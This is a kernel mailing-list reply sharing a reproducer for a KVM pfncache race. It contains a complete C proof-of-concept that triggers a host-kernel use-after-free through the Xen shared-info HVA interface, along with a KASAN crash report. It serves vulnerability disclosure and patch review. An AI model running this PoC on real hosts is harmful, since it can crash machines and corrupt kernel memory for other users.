Re: [PATCH] KVM: pfncache: track all MMU notifier invalidations
David Lee <[email protected]>
| Newsgroups | org.kernel.vger.stable,org.kernel.vger.kvm,org.kernel.vger.linux-kernel |
|---|---|
| Message-ID | <CAC_etQGgLq9fxr5kG=VmndnRENZZTFnLr_PKTHKiPYjn-zYuFA@mail.gmail.com> |
Hi Sean, Please refer to the attached reproducer. Required configuration: * CONFIG_KVM * CONFIG_KVM_XEN * An x86 KVM host CONFIG_KASAN is not required for the vulnerability, but it is used to produce the attached diagnostic output. ========== Reproduction ========== Step 1: Build and boot an affected x86 kernel with CONFIG_KVM, CONFIG_KVM_XEN, and CONFIG_KASAN enabled. The confirmed kernel source revision is: ~ a13c140cc289c0b7b3770bce5b3ad42ab35074aa ~ Step 2: Compile the attached `poc.c`: ~ gcc -static -O2 -Wall -Wextra -pthread -o poc poc.c ~ Step 3: Run the PoC as a non-root user that has permission to open `/dev/kvm`: ~ ./poc ~ The PoC creates a KVM VM without any memslots, maps one anonymous page, and runs two threads on separate CPUs. One thread repeatedly activates and deactivates the Xen shared-info HVA cache. The other repeatedly discards the backing page with `MADV_DONTNEED`. The race is timing-dependent. The supplied PoC runs for 90 seconds. On the confirmed test system it produced the attached KASAN report in `splash.txt`. Best regards, David On Tue, Aug 11, 2026 at 10:40 AM Sean Christopherson <[email protected]> wrote: > +David W > > On Mon, Aug 10, 2026, David Lee wrote: > > From: Kyle Zeng <[email protected]> > > > > There is a race condition in KVM's gfn-to-pfn cache refresh and MMU > > notifier handling. An HVA-backed cache can publish a stale PFN and > > kernel virtual address after the corresponding userspace mapping has > > been invalidated. The Xen shared-info HVA interface immediately reads > > and writes through that stale address, resulting in a host-kernel > > use-after-free. > > > > The cache refresh path in virt/kvm/pfncache.c drops gpc->lock while > > resolving and mapping an HVA. It uses mn_active_invalidate_count and > > mmu_invalidate_seq to detect an MMU notifier interval that overlaps > > this unlocked window. However, mmu_invalidate_seq is advanced only > > when the invalidated HVA overlaps a KVM memslot. HVA-backed caches are > > explicitly allowed to refer to memory outside all memslots. If such an > > invalidation starts and finishes while gpc->valid is false, the active > > count returns to zero without a sequence change and the refresh accepts > > a stale PFN. > > > > An unprivileged process with access to /dev/kvm can reach this path with > > KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA. KASAN-detected use-after-free in > > kvm_xen_shared_info_init(). The affected function reads and writes Xen > > wall-clock fields through the stale mapping, so the issue can cause a > > host-kernel crash and memory corruption. > > > > The attached KASAN output confirms: > > > > BUG: KASAN: use-after-free in kvm_xen_shared_info_init+0x344/0x3d0 > [kvm] > > Read of size 4 at addr ffff888046000900 by task poc/1266 > > > > Add a notifier-specific sequence that advances for every completed > > invalidate interval before mn_active_invalidate_count is decremented, > > and use that sequence for pfncache retry. The existing barrier pairing > > then guarantees refresh observes either an active invalidation or a > > sequence change. > > > > Fixes: 721f5b0dda78 ("KVM: pfncache: allow a cache to be activated with > a fixed (userspace) HVA") > > Cc: [email protected] # 6.9+ > > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber > > Signed-off-by: Kyle Zeng <[email protected]> > > Co-developed-by: David Lee <[email protected]> > > Signed-off-by: David Lee <[email protected]> > > --- > > Bug found and triaged by OpenAI Security Research and > > validated by Trail of Bits. > > > > Trail of Bits has a reproducer for this bug that triggers a > > KASAN use-after-free and can share if needed. > > Go ahead and share, syzbot has been reporting this race for some time, > i.e. how > to repro this isn't exactly a secret, and the more testcases the better. > This is > also like the fourth or fifth proposed fix for the bug (bugs?). I think > the most > recent version of the fix we are pursuing is here: > > https://lore.kernel.org/all/[email protected] > > Thanks! >
splash.txt
(text/plain, 6.9 KB)
[ 232.327844] ================================================================== [ 232.327844] BUG: KASAN: use-after-free in kvm_xen_shared_info_init+0x344/0x3d0 [kvm] [ 232.327844] Read of size 4 at addr ffff888046000900 by task poc/1266 [ 232.327844] [ 232.327844] CPU: 0 UID: 1000 PID: 1266 Comm: poc Not tainted 7.2.0-rc3-kasan #1 PREEMPT(lazy) [ 232.327844] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 232.327844] Call Trace: [ 232.327844] <TASK> [ 232.327844] dump_stack_lvl+0x5f/0x90 [ 232.327844] print_report+0x15b/0x4ec [ 232.327844] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 232.327844] ? kasan_addr_to_slab+0xd/0x80 [ 232.327844] kasan_report+0xf2/0x130 [ 232.327844] ? kvm_xen_shared_info_init+0x344/0x3d0 [kvm] [ 232.327844] ? kvm_xen_shared_info_init+0x344/0x3d0 [kvm] [ 232.327844] __asan_report_load_n_noabort+0xf/0x20 [ 232.327844] kvm_xen_shared_info_init+0x344/0x3d0 [kvm] [ 232.327844] kvm_xen_hvm_set_attr+0xbe0/0x1a40 [kvm] [ 232.327844] ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm] [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] kvm_arch_vm_ioctl+0x283/0x1760 [kvm] [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? __pfx_kvm_arch_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? __pfx_mutex_unlock+0x10/0x10 [ 232.327844] ? __pfx__raw_spin_lock+0x10/0x10 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? mutex_unlock+0x83/0xe0 [ 232.327844] ? __pfx_mutex_unlock+0x10/0x10 [ 232.327844] ? kvm_gpc_deactivate+0x8d/0x530 [kvm] [ 232.327844] ? kvm_xen_hvm_set_attr+0x377/0x1a40 [kvm] [ 232.327844] ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm] [ 232.327844] ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm] [ 232.327844] ? __pfx_kvm_arch_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm] [ 232.327844] ? kvm_gpc_deactivate+0x8d/0x530 [kvm] [ 232.327844] ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm] [ 232.327844] ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm] [ 232.327844] ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm] [ 232.327844] ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm] [ 232.327844] kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm] [ 232.327844] ? __pfx_do_vfs_ioctl+0x10/0x10 [ 232.327844] ? __pfx_do_vfs_ioctl+0x10/0x10 [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? __pfx_do_vfs_ioctl+0x10/0x10 [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm] [ 232.327844] ? __pfx_do_vfs_ioctl+0x10/0x10 [ 232.327844] ? __pfx_do_vfs_ioctl+0x10/0x10 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? fdget+0x30d/0x4b0 [ 232.327844] __x64_sys_ioctl+0x147/0x1e0 [ 232.327844] x64_sys_call+0x103b/0x2390 [ 232.327844] do_syscall_64+0xdd/0x640 [ 232.327844] ? __pfx_do_vfs_ioctl+0x10/0x10 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? fput+0x27/0xa0 [ 232.327844] ? __kasan_check_read+0x11/0x20 [ 232.327844] ? fpregs_assert_state_consistent+0x5c/0x100 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? fput+0x27/0xa0 [ 232.327844] ? __kasan_check_read+0x11/0x20 [ 232.327844] ? fpregs_assert_state_consistent+0x5c/0x100 [ 232.327844] ? do_syscall_64+0x11a/0x640 [ 232.327844] ? __kasan_check_read+0x11/0x20 [ 232.327844] ? fpregs_assert_state_consistent+0x5c/0x100 [ 232.327844] ? do_syscall_64+0x11a/0x640 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? fput+0x27/0xa0 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? __kasan_check_write+0x14/0x30 [ 232.327844] ? fput+0x27/0xa0 [ 232.327844] ? __kasan_check_read+0x11/0x20 [ 232.327844] ? fpregs_assert_state_consistent+0x5c/0x100 [ 232.327844] ? do_syscall_64+0x11a/0x640 [ 232.327844] ? do_syscall_64+0x11a/0x640 [ 232.327844] ? do_syscall_64+0x11a/0x640 [ 232.327844] ? do_syscall_64+0x94/0x640 [ 232.327844] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 232.327844] RIP: 0033:0x41665d [ 232.327844] Code: 04 25 28 00 00 00 48 89 45 c8 31 c0 48 8d 45 10 c7 45 b0 10 00 00 00 48 89 45 b8 48 8d 45 d0 48 89 45 c0 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1a 48 8b 45 c8 64 48 2b 04 25 28 00 00 00 [ 232.327844] RSP: 002b:0000778a148a4040 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 [ 232.327844] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 000000000041665d [ 232.327844] RDX: 0000778a148a40a0 RSI: 000000004048aec9 RDI: 0000000000000004 [ 232.327844] RBP: 0000778a148a4090 R08: 0000000000000000 R09: 0000000000000001 [ 232.327844] R10: 0000000000000008 R11: 0000000000000246 R12: 0000778a148a46c0 [ 232.327844] R13: 00007ffeee4a0ee0 R14: 0000778a148a4ce4 R15: 00007ffeee4a0fd7 [ 232.327844] </TASK> [ 232.327844] [ 232.327844] The buggy address belongs to the physical page: [ 232.327844] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x778a150a6 pfn:0x46000 [ 232.327844] flags: 0xfffffc0000000(node=0|zone=1|lastcpupid=0x1fffff) [ 232.327844] raw: 000fffffc0000000 ffffea00010e1fc8 ffff88811aecb670 0000000000000000 [ 232.327844] raw: 0000000778a150a6 0000000000000000 00000000ffffffff 0000000000000000 [ 232.327844] page dumped because: kasan: bad access detected [ 232.327844] [ 232.327844] Memory state around the buggy address: [ 232.327844] ffff888046000800: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 232.327844] ffff888046000880: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 232.327844] >ffff888046000900: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 232.327844] ^ [ 232.327844] ffff888046000980: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 232.327844] ffff888046000a00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 232.327844] ================================================================== [ 232.327844] Disabling lock debugging due to kernel taint
poc.c
(application/octet-stream, 2.4 KB)
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/kvm.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <time.h>
#include <unistd.h>
#define PAGE_BYTES 4096
#define RUN_SECONDS 90
static atomic_int stop;
static void *shared_info_page;
static int vmfd;
static void fail(const char *what)
{
fprintf(stderr, "%s: %s\n", what, strerror(errno));
exit(EXIT_FAILURE);
}
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set))
fail("sched_setaffinity");
}
static void *discard_page(void *unused)
{
(void)unused;
pin_to_cpu(1);
while (!atomic_load_explicit(&stop, memory_order_relaxed)) {
if (madvise(shared_info_page, PAGE_BYTES, MADV_DONTNEED))
fail("madvise");
}
return NULL;
}
static void *refresh_cache(void *unused)
{
struct kvm_xen_hvm_attr activate = {
.type = KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA,
.u.shared_info.hva = (uintptr_t)shared_info_page,
};
struct kvm_xen_hvm_attr deactivate = {
.type = KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA,
.u.shared_info.hva = 0,
};
(void)unused;
pin_to_cpu(0);
while (!atomic_load_explicit(&stop, memory_order_relaxed)) {
if (ioctl(vmfd, KVM_XEN_HVM_SET_ATTR, &activate) && errno != EFAULT)
fail("KVM_XEN_HVM_SET_ATTR activate");
if (ioctl(vmfd, KVM_XEN_HVM_SET_ATTR, &deactivate))
fail("KVM_XEN_HVM_SET_ATTR deactivate");
}
return NULL;
}
int main(void)
{
struct timespec duration = { .tv_sec = RUN_SECONDS };
pthread_t discard_tid, refresh_tid;
int kvmfd;
kvmfd = open("/dev/kvm", O_RDWR | O_CLOEXEC);
if (kvmfd < 0)
fail("open /dev/kvm");
vmfd = ioctl(kvmfd, KVM_CREATE_VM, 0);
if (vmfd < 0)
fail("KVM_CREATE_VM");
shared_info_page = mmap(NULL, PAGE_BYTES, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (shared_info_page == MAP_FAILED)
fail("mmap");
*(volatile unsigned char *)shared_info_page = 0;
if (pthread_create(&discard_tid, NULL, discard_page, NULL))
fail("pthread_create");
if (pthread_create(&refresh_tid, NULL, refresh_cache, NULL))
fail("pthread_create");
nanosleep(&duration, NULL);
atomic_store_explicit(&stop, 1, memory_order_relaxed);
pthread_join(discard_tid, NULL);
pthread_join(refresh_tid, NULL);
return EXIT_SUCCESS;
}